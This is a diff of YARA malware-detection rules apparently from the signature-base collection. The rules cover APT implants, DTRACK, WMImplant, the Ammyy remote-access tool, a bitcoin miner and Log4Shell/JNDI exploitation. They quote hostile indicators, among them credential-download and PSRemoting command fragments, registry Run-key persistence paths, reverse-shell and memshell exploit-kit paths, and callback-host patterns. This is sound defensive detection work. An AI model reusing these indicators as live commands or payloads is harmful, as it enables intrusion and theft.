+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e6256269409322a4f48bfdaafc52f5ec83602cf66f2e3b8d83ed5175e1dc506f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6aad1408a72e7adc88c2e60631a6eee3d77f18a70e4eee868623588612efdd31"
-		hash2 = "bcd37f1d625772c162350e5383903fe8dbed341ebf0dc38035be5078624c039e"
+		hash1 = "31aea8630d5d2fcbb37a8e72fe4e096d0f2d8f05e03234645c69d7e8b59bb0e8"
 
 	strings:
-		$s1 = "payload.dat" fullword ascii
-		$s3 = "temp_microsoft_test.txt" fullword ascii
-		$s4 = "reg add %s /v %s /t REG_SZ /d \"%s\"" fullword ascii
-		$s6 = "%s %s,helloworld2" fullword ascii
-		$s9 = "%s \\\"%s\\\",helloworld" fullword ascii
-		$s16 = "recv plugin type %s size:%d" fullword ascii
+		$x1 = "SysMonitor_3A2DCB47" fullword ascii
+		$s1 = "msxml.exe" fullword ascii
+		$s2 = "wins.log" fullword ascii
+		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run" fullword ascii
+		$s4 = "%2d-%2d-%2d-%2d" fullword ascii
+		$s5 = "%USERPROFILE%" fullword ascii
+		$s6 = "Windows NT" fullword ascii
+		$s7 = "device monitor" fullword ascii
+		$s8 = "\\Accessories" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 3 of them
+		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="c5bb16e79fb500c430edce9481ae5b2b" or $x1 or 6 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_RANCOR_PLAINTEE_Malware_Exports : FILE
+rule SIGNATURE_BASE_APT_Tick_Homamdownloader_Jun18 : FILE
 {
 	meta:
-		description = "Detects PLAINTEE malware"
+		description = "Detects HomamDownloader from Tick group incident - Weaponized USB"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fa1e678d-8357-522b-9167-31321ab7753f"
-		date = "2018-06-26"
+		id = "8ec52cb7-41a4-50a9-9cb1-23bee354680f"
+		date = "2018-06-23"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rancor.yar#L51-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aa55452d4639dbaec760277908906c4ff9e8b66a60b1bcdc157ce23bd5d596db"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_tick_weaponized_usb.yar#L40-L58"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b4c798aa0c71f44f271e710d791c97adcbf9bd28ec87dd1d8d589029e58d1cfb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d"
+		hash1 = "f817c9826089b49d251b8a09a0e9bf9b4b468c6e2586af60e50afe48602f0bec"
+
+	strings:
+		$s1 = "cmd /c hostname >>" fullword ascii
+		$s2 = "Mstray.exe" fullword ascii
+		$s3 = "msupdata.exe" fullword ascii
+		$s5 = "Windows\\CurrentVersion\\run" fullword ascii
+		$s6 = "Content-Type: */*" fullword ascii
+		$s11 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and pe.exports("Add") and pe.exports("Sub") and pe.exports("DllEntryPoint") and pe.number_of_exports==3
+		uint16(0)==0x5a4d and filesize <30KB and 3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_RANCOR_DDKONG_Malware_Exports : FILE
+rule SIGNATURE_BASE_PUP_Installrex_Antifwb : FILE
 {
 	meta:
-		description = "Detects DDKONG malware"
+		description = "Malware InstallRex / AntiFW"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c94d4ea2-7c16-5003-98ea-253f8a2d01d1"
-		date = "2018-06-26"
+		id = "b327527e-8b88-5292-933b-102bd76df4eb"
+		date = "2015-05-13"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rancor.yar#L64-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2d11d46530c22b323c504344448d91fd43c0eecd29cf29aa4da7b2c797d27ff9"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_antifw_installrex.yar#L2-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bb5607cd2ee51f039f60e32cf7edc4e21a2d95cd"
+		logic_hash = "04f25497ee9a9af20179b81679d993315d6bb3d7bf7d8e9cbb01374395019610"
+		score = 55
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d"
+
+	strings:
+		$s4 = "Error %u while loading TSU.DLL %ls" fullword ascii
+		$s7 = "GetModuleFileName() failed => %u" fullword ascii
+		$s8 = "TSULoader.exe" fullword wide
+		$s15 = "\\StringFileInfo\\%04x%04x\\Arguments" wide
+		$s17 = "Tsu%08lX.dll" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and pe.exports("ServiceMain") and pe.exports("Rundll32Call") and pe.exports("DllEntryPoint") and pe.number_of_exports==3
+		uint16(0)==0x5a4d and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Shadowpad_Nssock2 : FILE
+rule SIGNATURE_BASE_APT_MAL_DTRACK_Oct19_1 : FILE
 {
 	meta:
-		description = "Detects malicious nssock2.dll from ShadowPad incident - file nssock2.dll"
+		description = "Detects DTRACK malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "47ecc7f8-065a-558b-9bba-300fd28f4eab"
-		date = "2017-08-15"
+		id = "802135bd-234d-574d-b111-fcc9eaa000f8"
+		date = "2019-10-28"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/shadowpad-in-corporate-networks/81432/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_shadowpad.yar#L13-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ea9675d5acfdc80cfa787db2c2dfe2169aa7c5e3ead35f020d0b0b664ecb4bf4"
+		reference = "https://twitter.com/a_tweeter_user/status/1188811977851887616?s=21"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dtrack.yar#L2-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b99bc8ec4df7185da306365dc2a24a0849ff0d5d92269daaa1efbb20f5e5bf83"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "462a02a8094e833fd456baf0a6d4e18bb7dab1a9f74d5f163a8334921a4ffde8"
-		hash2 = "c45116a22cf5695b618fcdf1002619e8544ba015d06b2e1dbf47982600c7545f"
-		hash3 = "696be784c67896b9239a8af0a167add72b1becd3ef98d03e99207a3d5734f6eb"
-		hash4 = "515d3110498d7b4fdb451ed60bb11cd6835fcff4780cb2b982ffd2740e1347a0"
-		hash5 = "536d7e3bd1c9e1c2fd8438ab75d6c29c921974560b47c71686714d12fb8e9882"
-		hash6 = "637fa40cf7dd0252c87140f7895768f42a370551c87c37a3a77aac00eb17d72e"
+		hash1 = "c5c1ca4382f397481174914b1931e851a9c61f029e6b3eb8a65c9e92ddf7aa4c"
+		hash2 = "a0664ac662802905329ec6ab3b3ae843f191e6555b707f305f8f5a0599ca3f68"
+		hash3 = "93a01fbbdd63943c151679d037d32b1d82a55d66c6cb93c40ff63f2b770e5ca9"
+		hash4 = "3cc9d9a12f3b884582e5c4daf7d83c4a510172a836de90b87439388e3cde3682"
+		hash5 = "bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364"
+		hash6 = "58fef66f346fe3ed320e22640ab997055e54c8704fc272392d71e367e2d1c2bb"
+		hash7 = "9d9571b93218f9a635cfeb67b3b31e211be062fd0593c0756eb06a1f58e187fd"
+
+	strings:
+		$xc1 = { 25 73 2A 2E 2A 00 00 00 5C 00 00 00 25 73 7E 00
+               5C 00 00 00 77 62 00 00 64 61 74 00 64 6B 77 65
+               72 6F 33 38 6F 65 72 41 5E 74 40 23 00 00 00 00
+               63 3A 5C 00 25 73 5C 25 63 2E 74 6D 70 }
+		$sx1 = "%02d.%02d.%04d - %02d:%02d:%02d:%03d : " fullword ascii
+		$sx2 = "%s\\%c.tmp" fullword ascii
+		$sx3 = "dkwero38oerA" fullword ascii
+		$sx4 = "awz2qr21yfbj" fullword ascii
+		$s1 = "Execute_%s.log" ascii
+		$s2 = "%s\\%s\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" fullword ascii
+		$s3 = "CCS_Mozilla/5.0" fullword ascii
+		$s4 = "\\C$\\Windows\\Temp\\MpLogs\\" ascii
+		$s5 = "127.0.0.1 >NUL & echo EEEE > \"%s\"" fullword ascii
+		$s6 = "[+] DownloadCommand" fullword ascii
+		$s7 = "DC-Error: Too long cmd length" fullword ascii
+		$s8 = "%s\\~%d.tmp" fullword ascii
+		$s9 = "%02X:%02X:%02X:%02X:%02X:%02X" ascii fullword
+		$op1 = { 0f b6 8d a3 fc ff ff 85 c9 74 09 8b 55 f4 83 c2 }
+		$op2 = { 6a 00 8d 85 28 fc ff ff 50 6a 04 8d 4d f8 51 8b }
+		$op3 = { 8b 85 c8 fd ff ff 03 85 a4 fc ff ff 89 85 b4 fc }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="c67de089f2009b21715744762fc484e8" or pe.imphash()=="11522f7d4b2fc05acba8f534ca1b828a"))
+		$xc1 or 2 of ($sx*) or 4 of them or ( uint16(0)==0x5a4d and filesize <=3000KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_1_V1 : FILE
+rule SIGNATURE_BASE_Wmimplant
 {
 	meta:
-		description = "Downrage Implant by APT28"
-		author = "US CERT"
-		id = "eb3fc39b-08ca-51df-a9b4-7b28b107b700"
-		date = "2017-02-10"
+		description = "Auto-generated rule - file WMImplant.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "18dadc55-e12f-5c4c-9e11-27dc2d6c8dd2"
+		date = "2017-03-24"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L12-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4df04daf70da482877874c530a3ad76fddebec2946931b60f98aa6c4e31f21ae"
-		score = 85
+		reference = "https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_wmi_implant.yar#L10-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6422514d25b723e7ab92c1af1301e51d9a93aa41da98791d96c4754a91b5a18e"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "860d7c237c2395b4f51b8c9bd0ee6cab06af38fff60ce3563d160d50c11d2f78"
 
 	strings:
-		$STR1 = {6A ?? E8 ?? ?? FF FF 59 85 C0 74 0B 8B C8 E8 ?? ?? FF FF 8B F0
-         EB 02 33 F6 8B CE E8 ?? ?? FF FF 85 F6 74 0E 8B CE E8 ?? ?? FF FF 56
-         E8 ?? ?? FF FF 59}
+		$x1 = "Invoke-ProcessPunisher -Creds $RemoteCredential" fullword ascii
+		$x2 = "$Target -query \"SELECT * FROM Win32_NTLogEvent WHERE (logfile='security')" ascii
+		$x3 = "WMImplant -Creds" fullword ascii
+		$x4 = "-Download -RemoteFile C:\\passwords.txt" ascii
+		$x5 = "-Command 'powershell.exe -command \"Enable-PSRemoting" fullword ascii
+		$x6 = "Invoke-WMImplant" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D) and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_1_V2 : FILE
+rule SIGNATURE_BASE_BTC_Miner_Lsass1_Chrome_2 : FILE
 {
 	meta:
-		description = "Downrage Implant by APT28"
-		author = "US CERT"
-		id = "c7beab50-8e73-5161-be7e-bc3f8351873a"
-		date = "2017-02-10"
+		description = "Detects a Bitcoin Miner"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7960d96a-7bd3-5135-867d-e39a02274c45"
+		date = "2017-06-22"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L28-L43"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c9bdf38303fadee3e2cfc99b70942a92ab382817a28401e8c8ab8035384c97c1"
-		score = 85
+		reference = "Internal Research - CN Actor"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cn_group_btc.yar#L10-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ef80dba71c901d6e821b2e08a701a82f8147e41a8f14c5fd324d5e043b0ff322"
+		score = 60
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "048e9146387d6ff2ac055eb9ddfbfb9a7f70e95c7db9692e2214fa4bec3d5b2e"
+		hash2 = "c8db8469287d47ffdc74fe86ce0e9d6e51de67ba1df318573c9398742116a6e8"
 
 	strings:
-		$STR1 = {83 3E 00 53 74 4F 8B 46 04 85 C0 74 48 83 C0 02 50 E8 ?? ?? 00
-         00 8B D8 59 85 DB 74 38 8B 4E 04 83 F9 FF 7E 21 57 }
-		$STR2 = {55 8B EC 8B 45 08 3B 41 08 72 04 32 C0 EB 1B 8B 49 04 8B 04 81
-         80 78 19 01 75 0D FF 70 10 FF [5] 85 C0 74 E3 }
+		$x1 = "-t, --threads=N       number of miner threads (default: number of processors)" fullword ascii
+		$x2 = "-O, --userpass=U:P    username:password pair for mining server" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D) and any of them
+		( uint16(0)==0x5a4d and filesize <6000KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_1_V3 : FILE
+rule SIGNATURE_BASE_CN_Actor_RA_Tool_Ammyy_Mscorsvw : FILE
 {
 	meta:
-		description = "Downrage Implant by APT28"
-		author = "US CERT"
-		id = "517133d2-813d-5f44-84c2-a53c62d7a688"
-		date = "2017-02-10"
+		description = "Detects Ammyy remote access tool"
+		author = "Florian Roth (Nextron Systems)"
+		id = "71a0c5a9-b4dc-508d-a6b7-4b85b75bc34b"
+		date = "2017-06-22"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L45-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e418620b45bc11804eae24db3cba8421758c214fc9f660a17761bbf3395ad744"
-		score = 85
+		reference = "Internal Research - CN Actor"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cn_group_btc.yar#L29-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c4b64b3aa63d80fa1a73b021bf49539af5888f53090555555c1f3fd7fbb90230"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1831806fc27d496f0f9dcfd8402724189deaeb5f8bcf0118f3d6484d0bdee9ed"
+		hash2 = "d9ec0a1be7cd218042c54bfbc12000662b85349a6b78731a09ed336e5d3cf0b4"
 
 	strings:
-		$rol7encode = { 0F B7 C9 C1 C0 07 83 C2 02 33 C1 0F B7 0A 47 66 85 C9 75 }
+		$s1 = "Please enter password for accessing remote computer" fullword ascii
+		$s2 = "Die Zugriffsanforderung wurde vom Remotecomputer abgelehnt" fullword ascii
+		$s3 = "It will automatically be run the next time this computer is restart or you can start it manually" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		( uint16(0)==0x5a4d and filesize <4000KB and 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_1_V4 : FILE
+rule SIGNATURE_BASE_CN_Actor_Ammyyadmin : FILE
 {
 	meta:
-		description = "Downrage Implant by APT28"
-		author = "US CERT"
-		id = "0362b885-de59-5715-80f2-106e5e91d1fa"
-		date = "2017-02-10"
+		description = "Detects Ammyy Admin Downloader"
+		author = "Florian Roth (Nextron Systems)"
+		id = "08ffb61a-e2de-538e-9d9f-040276324af9"
+		date = "2017-06-22"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L60-L73"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eb8e4ed38e2e4d3991543c526c7dc458eec78c517d2c5eaa06a3a3cfb48d770f"
-		score = 85
+		reference = "Internal Research - CN Actor"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cn_group_btc.yar#L47-L61"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b628c7e6debdd2b21a321dc2ec5838fd56107f4cac21bda8b9faa1c1d5b23b71"
+		score = 60
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1831806fc27d496f0f9dcfd8402724189deaeb5f8bcf0118f3d6484d0bdee9ed"
 
 	strings:
-		$XOR_LOOP = { 8B 45 FC 8D 0C 06 33 D2 6A 0B 8B C6 5B F7 F3 8A 82 ?? ??
-         ?? ?? 32 04 0F 46 88 01 3B 75 0C 7C E0 }
+		$x2 = "\\Ammyy\\sources\\main\\Downloader.cpp" ascii
 
 	condition:
-		( uint16(0)==0x5A4D) and all of them
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_1_V5 : FILE
+rule SIGNATURE_BASE_EXPL_Log4J_Callbackdomain_Iocs_Dec21_1 : CVE_2021_44228
 {
 	meta:
-		description = "Downrage Implant by APT28"
-		author = "US CERT"
-		id = "ac1c6175-3a8b-524b-bb18-243c52f7dba1"
-		date = "2017-02-10"
+		description = "Detects IOCs found in Log4Shell incidents that indicate exploitation attempts of CVE-2021-44228"
+		author = "Florian Roth (Nextron Systems)"
+		id = "474afa96-1758-587e-8cab-41c5205e245e"
+		date = "2021-12-12"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L75-L91"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e9660dfe76bfe1eb17b434f2ddef4975495e952396212c41550d932dbb8e8205"
-		score = 85
+		reference = "https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_log4j_cve_2021_44228.yar#L2-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8d5e60f91b715242c6f8ee806ab81d3e296ce1467cf2d065b053f33e3ae00f14"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2021-44228"
 
 	strings:
-		$drivername = { 6A 30 ?? 6A 33 [5] 6A 37 [5] 6A 32 [5] 6A 31 [5] 6A 77
-         [5] 6A 69 [5] 6A 6E [5] 6A 2E [5] 6A 73 [5-9] 6A 79 [5] 6A 73 }
-		$mutexname = { C7 45 ?? 2F 2F 64 66 C7 45 ?? 63 30 31 65 C7 45 ?? 6C 6C
-         36 7A C7 45 ?? 73 71 33 2D C7 45 ?? 75 66 68 68 66 C7 45 ?? 66 }
+		$xr1 = /\b(ldap|rmi):\/\/([a-z0-9\.]{1,16}\.bingsearchlib\.com|[a-z0-9\.]{1,40}\.interact\.sh|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}):[0-9]{2,5}\/([aZ]|ua|Exploit|callback|[0-9]{10}|http443useragent|http80useragent)\b/
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and any of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_1_V7 : FILE
+rule SIGNATURE_BASE_EXPL_JNDI_Exploit_Patterns_Dec21_1
 {
 	meta:
-		description = "Downrage Implant by APT28"
-		author = "US CERT"
-		id = "2a28273f-d9a1-5e80-bef1-b488eb0326bd"
-		date = "2017-02-10"
+		description = "Detects JNDI Exploit Kit patterns in files"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a9127dd2-b818-5ca8-877a-3c47b1e92606"
+		date = "2021-12-12"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L112-L124"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ff8443460e1818fd63e4dcf678bb592940b32978a70ab1633ebaa61c590d3916"
-		score = 85
+		reference = "https://github.com/pimps/JNDI-Exploit-Kit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_log4j_cve_2021_44228.yar#L16-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9442c8c4eee76539892752361657c86e80acc7990876e787317b042a4637f669"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$XOR_FUNCT = { C7 45 ?? ?? ?? 00 10 8B 0E 6A ?? FF 75 ?? E8 ?? ?? FF FF }
+		$x01 = "/Basic/Command/Base64/"
+		$x02 = "/Basic/ReverseShell/"
+		$x03 = "/Basic/TomcatMemshell"
+		$x04 = "/Basic/JettyMemshell"
+		$x05 = "/Basic/WeblogicMemshell"
+		$x06 = "/Basic/JBossMemshell"
+		$x07 = "/Basic/WebsphereMemshell"
+		$x08 = "/Basic/SpringMemshell"
+		$x09 = "/Deserialization/URLDNS/"
+		$x10 = "/Deserialization/CommonsCollections1/Dnslog/"
+		$x11 = "/Deserialization/CommonsCollections2/Command/Base64/"
+		$x12 = "/Deserialization/CommonsBeanutils1/ReverseShell/"
+		$x13 = "/Deserialization/Jre8u20/TomcatMemshell"
+		$x14 = "/TomcatBypass/Dnslog/"
+		$x15 = "/TomcatBypass/Command/"
+		$x16 = "/TomcatBypass/ReverseShell/"
+		$x17 = "/TomcatBypass/TomcatMemshell"
+		$x18 = "/TomcatBypass/SpringMemshell"
+		$x19 = "/GroovyBypass/Command/"
+		$x20 = "/WebsphereBypass/Upload/"
+		$fp1 = "<html"
 
 	condition:
-		( uint16(0)==0x5A4D) and all of them
+		1 of ($x*) and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V1 : FILE
+rule SIGNATURE_BASE_EXPL_Log4J_CVE_2021_44228_JAVA_Exception_Dec21_1 : CVE_2021_44228
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "058266d4-8dc5-5a26-9bc6-4c55ac646e9b"
-		date = "2017-02-10"
+		description = "Detects exceptions found in server logs that indicate an exploitation attempt of CVE-2021-44228"
+		author = "Florian Roth (Nextron Systems)"
+		id = "82cf337e-4ea1-559b-a7b8-512a07adf06f"
+		date = "2021-12-12"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L126-L138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6708239ea43fd36a7c9431cd2c6c185c0d406d65c4a31374c5e96bdc3e53de43"
-		score = 85
+		reference = "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_log4j_cve_2021_44228.yar#L51-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "98eabec4ad2f5c4d22db9c3bebdc82c8dc6723599748360875fc7b613b1019ab"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2021-44228"
 
 	strings:
-		$STR1 = { 8d ?? fa [2] e8 [2] FF FF C7 [2-5] 00 00 00 00 8D [2-5] 5? 6a 00 6a 01}
+		$xa1 = "header with value of BadAttributeValueException: "
+		$sa1 = ".log4j.core.net.JndiManager.lookup(JndiManager"
+		$sa2 = "Error looking up JNDI resource"
 
 	condition:
-		( uint16(0)==0x5A4D) and all of them
+		$xa1 or all of ($sa*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V3 : FILE
+rule SIGNATURE_BASE_EXPL_Log4J_CVE_2021_44228_Dec21_Soft : FILE CVE_2021_44228
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "747e4f76-b9c4-5988-90ae-b450548b1b82"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L140-L155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
